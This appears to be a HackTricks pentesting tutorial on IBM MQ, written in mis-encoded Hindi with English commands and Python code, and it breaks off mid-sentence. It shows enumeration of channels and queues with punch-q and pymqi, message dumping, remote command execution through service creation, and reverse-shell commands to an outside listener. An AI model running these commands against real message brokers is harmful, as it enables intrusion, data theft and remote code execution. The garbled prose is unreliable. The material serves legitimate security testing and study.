25 KiB
1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic information
IBM MQ рдПрдХ IBM рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рд╕рдВрджреЗрд╢ рдХрддрд╛рд░реЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддреА рд╣реИред рдЕрдиреНрдп message broker рддрдХрдиреАрдХреЛрдВ рдХреА рддрд░рд╣, рдпрд╣ рдЙрддреНрдкрд╛рджрдХреЛрдВ рдФрд░ рдЙрдкрднреЛрдХреНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ, рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ, рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╡рд░реНрдЧреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИред
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ IBM MQ TCP рдкреЛрд░реНрдЯ 1414 рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдХрднреА-рдХрднреА, HTTP REST API рдкреЛрд░реНрдЯ 9443 рдкрд░ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдореЗрдЯреНрд░рд┐рдХреНрд╕ (Prometheus) рдХреЛ TCP рдкреЛрд░реНрдЯ 9157 рд╕реЗ рднреА рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
IBM MQ TCP рдкреЛрд░реНрдЯ 1414 рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрджреЗрд╢реЛрдВ, рдХрддрд╛рд░реЛрдВ, рдЪреИрдирд▓реЛрдВ, ... рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреАред
IBM рдПрдХ рдмрдбрд╝рд╛ рддрдХрдиреАрдХреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ https://www.ibm.com/docs/en/ibm-mq рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред
Tools
рдЖрд╕рд╛рди рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрдЭрд╛рдпрд╛ рдЧрдпрд╛ рдЙрдкрдХрд░рдг рд╣реИ punch-q, рдЬрд┐рд╕рдореЗрдВ Docker рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ Python рдкреБрд╕реНрддрдХрд╛рд▓рдп pymqi
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред
рдПрдХ рдЕрдзрд┐рдХ рдореИрдиреБрдЕрд▓ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд▓рд┐рдП, Python рдкреБрд╕реНрддрдХрд╛рд▓рдп pymqi рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред IBM MQ dependencies рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
Installing pymqi
IBM MQ dependencies рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдФрд░ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
- https://login.ibm.com/ рдкрд░ рдПрдХ рдЦрд╛рддрд╛ (IBMid) рдмрдирд╛рдПрдВред
- https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc рд╕реЗ IBM MQ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред Linux x86_64 рдХреЗ рд▓рд┐рдП рдпрд╣ 9.0.0.4-IBM-MQC-LinuxX64.tar.gz рд╣реИред
- рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░реЗрдВ (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)ред - рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╢рд░реНрддреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
sudo ./mqlicense.sh
рдЪрд▓рд╛рдПрдВред
рдпрджрд┐ рдЖрдк Kali Linux рдкрд░ рд╣реИрдВ, рддреЛ рдлрд╝рд╛рдЗрд▓
mqlicense.sh
рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ: рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ/рдХрдореЗрдВрдЯ рдХрд░реЗрдВ (рдкрдВрдХреНрддрд┐рдпреЛрдВ 105-110 рдХреЗ рдмреАрдЪ):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- рдлрд┐рд░, рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ
.so
рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ LD рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:export LD_LIBRARY_PATH=/opt/mqm/lib64
, рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдЗрди рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗред
рдлрд┐рд░, рдЖрдк рдкреНрд░реЛрдЬреЗрдХреНрдЯ pymqi рдХреЛ рдХреНрд▓реЛрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдЗрд╕рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ, рд╕реНрдерд┐рд░рд╛рдВрдХ, ... рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╛ рдЖрдк рд╕реАрдзреЗ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: pip install pymqi
ред
Using punch-q
With Docker
рдмрд╕ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: sudo docker run --rm -ti leonjza/punch-q
ред
Without Docker
рдкреНрд░реЛрдЬреЗрдХреНрдЯ punch-q рдХреЛ рдХреНрд▓реЛрди рдХрд░реЗрдВ рдлрд┐рд░ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рд░реАрдбрдореА рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ (pip install -r requirements.txt && python3 setup.py install
)ред
рдЗрд╕рдХреЗ рдмрд╛рдж, рдЗрд╕реЗ punch-q
рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Enumeration
рдЖрдк punch-q рдпрд╛ pymqi рдХреЗ рд╕рд╛рде рдХреНрдпреВ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЪреИрдирд▓ рдФрд░ рдХреНрдпреВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
Queue Manager
рдХрднреА-рдХрднреА, рдХреНрдпреВ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреЛрдИ рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q рдПрдХ рдЖрдВрддрд░рд┐рдХ (рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп) рд╢рдмреНрдж рд╕реВрдЪреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ рдореМрдЬреВрджрд╛ рдЪреИрдирд▓реЛрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрдкрдпреЛрдЧ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
рдпрд╣ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ IBM MQ рдЙрджрд╛рд╣рд░рдг рдЕрдкреНрд░рдорд╛рдгрд┐рдд MQ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП --username / --password
рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдмреЗрд╢рдХ, рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рднреА рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
рдЬреИрд╕реЗ рд╣реА рд╣рдореЗрдВ рдПрдХ рдЪреИрдирд▓ рдирд╛рдо рдорд┐рд▓рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ: DEV.ADMIN.SVRCONN
), рд╣рдо рд╕рднреА рдЕрдиреНрдп рдЪреИрдирд▓реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЧрдгрдирд╛ рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ code/examples/dis_channels.py
рд╕реЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... рд▓реЗрдХрд┐рди punch-q рдЙрд╕ рднрд╛рдЧ рдХреЛ рднреА рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ (рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде!)ред
рдЗрд╕реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Queues
рдПрдХ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ pymqi (dis_queues.py
) рд▓реЗрдХрд┐рди punch-q рдХрддрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
рдЖрдк рдХрддрд╛рд░(реЛрдВ)/рдЪреИрдирд▓(реЛрдВ) рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдирд╕реЗ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╕реНрдирд┐рдлрд╝/рдбрдВрдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЧреИрд░-рдирд╛рд╢рдХ рдСрдкрд░реЗрд╢рди)ред Examples:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
рд╕рднреА рдкрд╣рдЪрд╛рдиреЗ рдЧрдП рдХрддрд╛рд░реЛрдВ рдкрд░ рджреЛрд╣рд░рд╛рдиреЗ рдореЗрдВ рд╕рдВрдХреЛрдЪ рди рдХрд░реЗрдВред
рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди
рдХреБрдЫ рд╡рд┐рд╡рд░рдг рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ: IBM MQ рдХреЛ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: MQSC, PCF, рдирд┐рдпрдВрддреНрд░рдг рдХрдорд╛рдВрдбред рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪрд┐рдпрд╛рдБ IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред PCF (рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдорд╛рдВрдб рдлреЙрд░реНрдореЗрдЯреНрд╕) рдкрд░ рд╣рдо рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред punch-q рдФрд░ рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ pymqi PCF рдЗрдВрдЯрд░реИрдХреНрд╢рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИрдВред
рдЖрдк PCF рдХрдорд╛рдВрдб рдХреА рдПрдХ рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдХрдорд╛рдВрдб рд╣реИ
MQCMD_CREATE_SERVICE
рдФрд░ рдЗрд╕рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╣рд╛рдБ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдПрдХStartCommand
рдХреЛ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддрд╛ рд╣реИ рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдкрд░ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг:/bin/sh
)редрджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдХрдорд╛рдВрдб рдХрд╛ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рднреА рд╣реИ: "рдзреНрдпрд╛рди рджреЗрдВ: рдпрд╣ рдХрдорд╛рдВрдб рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ mqm рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрджрд┐ рдЗрд╕ рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдпрд╛ рд▓рд╛рдкрд░рд╡рд╛рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рд╕реЗрд╡рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдпрд╛ рдбреЗрдЯрд╛ рдХреЛ рдиреБрдХрд╕рд╛рди рдкрд╣реБрдВрдЪрд╛рддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдХрд░ред"
рдиреЛрдЯ: рд╣рдореЗрд╢рд╛ IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (рдкреНрд░рд╢рд╛рд╕рди рд╕рдВрджрд░реНрдн) рдХреЗ рдЕрдиреБрд╕рд╛рд░,
/admin/action/qmgr/{qmgrName}/mqsc
рдкрд░ рдПрдХ HTTP рдПрдВрдбрдкреЙрдЗрдВрдЯ рднреА рд╣реИ рдЬреЛ рд╕реЗрд╡рд╛ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рд╕рдордХрдХреНрд╖ MQSC рдХрдорд╛рдВрдб (DEFINE SERVICE
) рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ рдкрд╣рд▓реВ рдпрд╣рд╛рдБ рдЕрднреА рддрдХ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рджреВрд░рд╕реНрде рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП PCF рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛ рдирд┐рд░реНрдорд╛рдг / рд╣рдЯрд╛рдиреЗ рдХреЛ punch-q рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
рдЙрджрд╛рд╣рд░рдг 1
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQ рдХреЗ рд▓реЙрдЧ рдореЗрдВ, рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрдорд╛рдВрдб рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реБрдЖ рд╣реИ:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
рдЖрдк рдорд╢реАрди рдкрд░ рдореМрдЬреВрджрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рдЧрдгрдирд╛ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣рд╛рдБ /bin/doesnotexist
... рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ):
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЙрдиреНрдЪ рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рд╣реИред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджреВрд╕рд░рд╛ рдЖрдЗрдЯрдо рдЪрд╛рд╣рд┐рдП (рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рд▓рд┐рд╕реНрдирд░, рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрдорд╛рдг, рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд╕реА ...)
рдЙрджрд╛рд╣рд░рдг 2
рдЖрд╕рд╛рди рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП, punch-q рджреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреЗрд▓реЛрдб рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:
- рдПрдХ bash рдХреЗ рд╕рд╛рде
- рдПрдХ perl рдХреЗ рд╕рд╛рде
рдмрд┐рд▓реНрдХреБрд▓, рдЖрдк execute
рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдХрд╕реНрдЯрдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
bash рдХреЗ рд▓рд┐рдП:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
perl рдХреЗ рд▓рд┐рдП:
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
рдЖрдк IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ pymqi рдкрд╛рдпрдерди рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ punch-q рдореЗрдВ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рд╡рд┐рд╢рд┐рд╖реНрдЯ PCF рдХрдорд╛рдВрдб рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
рдпрджрд┐ рдЖрдк рд╕реНрдерд╛рдпреА рдирд╛рдо рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд╕рдВрджрд░реНрдн рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВред
MQCMD_REFRESH_CLUSTER
рдХрд╛ рдЙрджрд╛рд╣рд░рдг (рджрд╢рдорд▓рд╡ = 73)ред рдЗрд╕реЗMQCA_CLUSTER_NAME
(рджрд╢рдорд▓рд╡ = 2029) рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬреЛ*
